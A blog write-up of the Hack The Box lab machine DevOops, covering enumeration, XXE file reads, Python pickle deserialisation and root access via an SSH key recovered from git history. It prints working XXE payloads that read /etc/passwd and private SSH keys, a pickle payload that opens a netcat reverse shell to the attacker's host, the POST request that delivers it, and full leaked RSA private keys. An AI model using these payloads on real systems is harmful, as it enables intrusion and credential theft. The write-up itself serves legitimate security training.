This is a box whose exploit vector I’m not sure is in the PWK syllabus and I was stuck until I viewed hints in the HTB forums. What’s surprising is that after I solved the box and watched IppSec he said the intended way in was actually more complicated and the creator had made a mistake rendering the box easier than it should. Still, the box is worth doing because while the means to compromise may be outside syllabus, the methodology certainly is.
Lessons learned
- XXE injection attacks
- Python pickle.load unserialisation attack
- Identifying and enumerating git repos
Enumeration
Ports 22, 5000 are open.
TCP 5000 Gunicorn
Now what is Gunicorn? This page explains it as
Gunicorn takes care of everything which happens in-between the web server and your web application. This way, when coding up your a Django application you don’t need to find your own solutions for:
* communicating with multiple web servers
* reacting to lots of web requests at once and distributing the load
* keeping multiple processes of the web application running
IppSec describes it as something which sits between Apache/nginx and Python. The landing page:
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/09/landing_page-2.png?w=860)
A nikto scan found nothing, and searchsploit also returned nil.
root@Kali:~/HTB/DevOops# searchsploit Gunicorn Exploits: No Results Shellcodes: No Results Papers: No Results
dirbuster took too long and I switched to gobuster, which still took an hour to complete.
root@Kali:~/HTB/DevOops# gobuster dir -u http://10.10.10.91:5000/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 180 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.91:5000/ [+] Threads: 180 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: html,conf,bak,sh,pl,cgi,php,txt [+] Timeout: 40s =============================================================== 2020/09/24 23:15:50 Starting gobuster =============================================================== /feed (Status: 200) /upload (Status: 200) [ERROR] 2020/09/24 23:55:32 [!] Get http://10.10.10.91:5000/dotnetfrmess3: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/09/25 00:06:03 [!] Get http://10.10.10.91:5000/1813228.sh: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) =============================================================== 2020/09/25 00:16:01 Finished ===============================================================
/feed
This just displayed the pic you see above on the landing page. I analyzed the picture as detailed here but found nothing.
/upload
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/09/upload_landing_page.png?w=477)
This was more promising. I tried uploading txt, php files but didn’t succeed even after obfuscating the file type to bypass filters.
XXE – XML External Entity injection
The key to compromising this is to first understand what XXE is. I watched this video to understand it
Figuring out the XML format
We need to figure out what kind of XML format is accepted first. The upload page tells us three tags are needed Author, Subject and Content. 0xdf figures this out by looking at his own blog feed and noticing some tags are wrapped around with an <entry> tag. So if you upload LFI.xml with
<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>Testing</Content>
</entry>
you’ll see
PROCESSED BLOGPOST: Author: Tester Subject: Tests Content: Testing URL for later reference: /uploads/LFI.xml File path: /home/roosa/deploy/src
Visiting that URL shows
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/09/lfi-xml.png?w=937)
Right so we figured out a format. Now let’s use a payload which enables LFI.
XXE LFI
HackTricks is my go-to for all kinds of attacks, and using their payload
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
we can modify it by adding <entry> tags to give LFIpasswd.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</entry>
and this gives
PROCESSED BLOGPOST: Author: Tester Subject: Tests Content: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false git:x:1001:1001:git,,,:/home/git:/bin/bash roosa:x:1002:1002:,,,:/home/roosa:/bin/bash sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false URL for later reference: /uploads/LFIpasswd.xml File path: /home/roosa/deploy/src
Great it worked. On some Linux systems, viewing /proc/self/status tells us which user the Web app is running as, so trying that here we see
PROCESSED BLOGPOST: Author: Tester Subject: Tests Content: Name: gunicorn Umask: 0002 State: R (running) Tgid: 1293 Ngid: 0 Pid: 1293 PPid: 1285 TracerPid: 0 Uid: 1002 1002 1002 1002 Gid: 1002 1002 1002 1002 FDSize: 32 Groups: 4 27 1002 NStgid: 1293 NSpid: 1293 NSpgid: 1282 NSsid: 1282 VmPeak: 22420 kB VmSize: 22332 kB VmLck: 0 kB VmPin: 0 kB VmHWM: 15756 kB VmRSS: 15744 kB RssAnon: 10952 kB RssFile: 4792 kB RssShmem: 0 kB VmData: 11316 kB VmStk: 132 kB VmExe: 3172 kB VmLib: 5464 kB VmPTE: 56 kB VmPMD: 12 kB VmSwap: 0 kB HugetlbPages: 0 kB Threads: 1 SigQ: 0/7610 SigPnd: 0000000000000000 ShdPnd: 0000000000000000 SigBlk: 0000000000000000 SigIgn: 0000000001001000 SigCgt: 0000000188304226 CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 0000003fffffffff CapAmb: 0000000000000000 NoNewPrivs: 0 Seccomp: 0 Cpus_allowed: 1 Cpus_allowed_list: 0 Mems_allowed: 1 Mems_allowed_list: 0 voluntary_ctxt_switches: 188 nonvoluntary_ctxt_switches: 41 URL for later reference: /uploads/payload.xml File path: /home/roosa/deploy/src
Referencing /etc/passwd above we see the app is running as roosa, which has a login bash shell. This gives us some idea what to do next.
Exploitation – Stealing SSH private keys (Easy)
Since we have LFI and SSH is open, we can try to fish for ~/.ssh/id_rsa. We change our LFI payload to /home/roosa/.ssh/id_rsa in payload.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa"> ]>
<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</entry>
and we get
PROCESSED BLOGPOST: Author: Tester Subject: Tests Content: -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4 9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3 koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7 e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe 8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6 NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93 hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0 ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0 8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq 82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s= -----END RSA PRIVATE KEY----- URL for later reference: /uploads/payload.xml File path: /home/roosa/deploy/src
Copy this into file roosa_key and we can login with it
root@Kali:~/HTB/DevOops# ssh roosa@10.10.10.91 -i roosa_key load pubkey "roosa_key": invalid format The authenticity of host '10.10.10.91 (10.10.10.91)' can't be established. ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.91' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 135 packages can be updated. 60 updates are security updates. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. roosa@gitter:~$
Exploitation – Python Pickle deserialisation attack (Medium)
This is the harder but apparently the intended way in. Since we have LFI and we can view any file, let’s look at feed.py which we know is run by the Web application via Gunicorn. If we replace the XML with
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "feed.py"> ]>
<Anything>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</Anything>
and using Burp we see in the HTTP history capture
HTTP/1.1 200 OK Server: gunicorn/19.7.1 Date: Sat, 26 Sep 2020 08:46:17 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1061 PROCESSED BLOGPOST: Author: Tester Subject: Tests Content: ') def uploaded_file(filename): return send_from_directory(Config.UPLOAD_FOLDER, filename) @app.route("/") def xss(): return template('index.html') @app.route("/feed") def fakefeed(): return send_from_directory(".","devsolita-snapshot.png") @app.route("/newpost", methods=["POST"]) def newpost(): # TODO: proper save to database, this is for testing purposes right now picklestr = base64.urlsafe_b64decode(request.data) # return picklestr postObj = pickle.loads(picklestr) return "POST RECEIVED: " + postObj['Subject'] ## TODO: VERY important! DISABLED THIS IN PRODUCTION #app = DebuggedApplication(app, evalex=True, console_path='/debugconsole') # TODO: Replace run-gunicorn.sh with real Linux service script # app = DebuggedApplication(app, evalex=True, console_path='/debugconsole') if __name__ == "__main__": app.run(host='0.0.0,0', Debug=True) URL for later reference: /uploads/payload.xml File path: /home/roosa/deploy/src
The source code of feed.py is actually chopped off, only that after ‘)’ is shown. But we see that there is some unserialisation from base64 encoded string, which then undergoes pickle.loads()
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# return picklestr
postObj = pickle.loads(picklestr)
This is an unsafe method which I learned from natas earlier and HackTricks has a page showing how to pull it off
import cPickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(cPickle.dumps(P())))
But first the Web page hosting that method /newpost has to exist. If we go there in the browser it says
Method Not Allowed The method is not allowed for the requested URL.
but that’s because as the code says it works for POST not GET requests methods=["POST"]
. Let’s generate the payload by modifying HackTrick’s code
root@Kali:~/HTB/DevOops# cat pickle.py import cPickle, os, base64 class P(object): def __reduce__(self): return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f',)) print(base64.b64encode(cPickle.dumps(P()))) root@Kali:~/HTB/DevOops# python pickle.py Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjEwLjE0Ljc4IDQ0MyA+L3RtcC9mJwpwMgp0cDMKUnA0Ci4=
Then send it with Burp, switching GET to POST in the repeater. I removed Content-Length and Content-Type headers first, so we don’t predefine our content.
POST /newpost HTTP/1.1 Host: 10.10.10.91:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 154 Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjEwLjE0Ljc4IDQ0MyA+L3RtcC9mJwpwMgp0cDMKUnA0Ci4=
At our listener we get a shell
root@Kali:~/HTB/DevOops# nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.91] 52068 bash: cannot set terminal process group (1279): Inappropriate ioctl for device bash: no job control in this shell roosa@gitter:~/deploy/src$
Priv esc
I ran just linpeas and later pspy32. Two things stood out. One was CUPS process running on localhost as root, which I investigated here but went nowhere. The other was that linpeas highlighted these SSH keys.
Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml /home/roosa/work/blogfeed/resources/integration/authcredentials.key /home/roosa/deploy/resources/integration/authcredentials.key /home/roosa/.ssh/id_rsa roosa@gitter:/var$ cat /home/roosa/work/blogfeed/resources/integration/authcredentials.key -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE 23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16 ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9 oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x 6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+ OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE 4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0 937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94 SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4 eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP 6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb 8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0= -----END RSA PRIVATE KEY-----
I verified both keys were the same and tried to login with them
roosa@gitter:/var$ diff /home/roosa/deploy/resources/integration/authcredentials.key /home/roosa/work/blogfeed/resources/integration/authcredentials.key roosa@gitter:/var$ ssh root@localhost -i /home/roosa/deploy/resources/integration/authcredentials.key root@localhost's password: Permission denied, please try again. root@localhost's password: Permission denied, please try again. root@localhost's password: Permission denied (publickey,password).
It didn’t work. I then looked at roosa’s .bash_history and saw a bunch of git commits. There was a file run-blogfeed.sh in the user /home directory
roosa@gitter:~$ cat run-blogfeed.sh #/bin/bash # TODO: replace with better script and run as blogfeed user which is restricted cd /home/roosa/work/blogfeed/src ../run-gunicorn.sh
This is actually a git repo, which we can verify if we search for .git with
find / -name .git 2>/dev/null
At this point I should point out I found it quite unusual that with roosa’s account and knowing there’s a git user on the box we could login as git with SSH without any password
roosa@gitter ~/work/blogfeed $ ssh git@localhost Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 135 packages can be updated. 60 updates are security updates. Last login: Mon Mar 26 08:15:29 2018 from 127.0.0.1 git@gitter:~$
But this can’t be done from outside for some reason
root@Kali:~/HTB/DevOops# ssh git@10.10.10.91 git@10.10.10.91's password:
The git user .bash_history wasn’t particularly interesting. Getting back to the git repo if we do git log
to check the commit history we see
commit 7ff507d029021b0915235ff91e6a74ba33009c6d Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 26 06:13:55 2018 -0400 Use Base64 for pickle feed loading commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8 Author: Roosa Hakkerson <roosa@solita.fi> Date: Tue Mar 20 15:37:00 2018 -0400 Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use. commit cec54d8cb6117fd7f164db142f0348a74d3e9a70 Author: Roosa Hakkerson <roosa@solita.fi> Date: Tue Mar 20 15:08:09 2018 -0400 Debug support added to make development more agile. commit ca3e768f2434511e75bd5137593895bd38e1b1c2 Author: Roosa Hakkerson <roosa@solita.fi> Date: Tue Mar 20 08:38:21 2018 -0400 Blogfeed app, initial version. commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94 Author: Roosa Hakkerson <roosa@solita.fi> Date: Tue Mar 20 08:37:56 2018 -0400 Gunicorn startup script commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 19 09:33:06 2018 -0400 reverted accidental commit with proper key commit d387abf63e05c9628a59195cec9311751bdb283f Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 19 09:32:03 2018 -0400 add key for feed integration from tnerprise backend commit 1422e5a04d1b52a44e6dc81023420347e257ee5f Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 19 09:24:30 2018 -0400 Initial commit
We see there are mentions of “keys”. Could that be SSH key by any chance? Let’s check /etc/ssh/sshd_config and we’ll find
PermitRootLogin prohibit-password
which according to man sshd_config
PermitRootLogin Specifies whether root can log in using ssh(1). The argument must be “yes”, “prohibit-password”, “without-password”, “forced-commands-only”, or “no”. The default is “prohibit-password”. If this option is set to “prohibit-password” or “without-password”, password and keyboard-interactive authentication are disabled for root. If this option is set to “forced-commands-only”, root login with public key authentication will be allowed, but only if the command option has been specified (which may be useful for taking remote backups even if root login is normally not allowed). All other authentication methods are disabled for root. If this option is set to “no”, root is not allowed to log in.
So this means that root user can login via SSH but only with SSH private keys. Could this be the private keys which were mistakenly committed to git and then removed later? After all the box’s name is DevOops. Let’s check with git log -p
and we see this when we scroll down.
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/09/git-log-p.png?w=1024)
If you know the commit ID you could check that directly with git diff <commit-ID>
. Here we see that some private key was indeed erased. After copying key and removing the dash character preceding each line we find we can login as root.
root@Kali:~/HTB/DevOops# ssh root@10.10.10.91 -i inside_key load pubkey "inside_key": invalid format @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'inside_key' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "inside_key": bad permissions root@10.10.10.91's password: root@Kali:~/HTB/DevOops# chmod 600 inside_key root@Kali:~/HTB/DevOops# ssh root@10.10.10.91 -i inside_key load pubkey "inside_key": invalid format Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 135 packages can be updated. 60 updates are security updates. Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1 root@gitter:~#